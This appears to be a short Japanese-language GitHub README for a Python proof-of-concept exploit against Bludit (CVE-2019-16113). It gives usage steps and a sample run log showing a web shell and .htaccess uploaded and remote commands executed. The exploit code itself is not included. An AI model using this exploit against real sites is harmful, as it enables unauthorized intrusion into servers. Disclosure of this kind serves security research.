hg8/cve-2019-16113-pocBludit >= 3.9.2 - 認証済み RCE (CVE-2019-16113)
Bludit >= 3.9.2 の「アップロード機能」を介したリモートコード実行の脆弱性。
シンプルなPython PoC。
発見者: @christasa: https://github.com/bludit/bludit/issues/1081
スクリプトを編集して、URL、ユーザー名、パスワード、実行するコマンドを設定し、スクリプトを実行してください:
$ python CVE-2019-16113.py
[+] Loggin successful.
[+] Token CSRF: 20b903ffe72490f004b9255521ea2e0419e73dce
[+] Shell upload succesful.
[+] .htaccess upload succesful.
[+] Command execution successful.
pip install requests)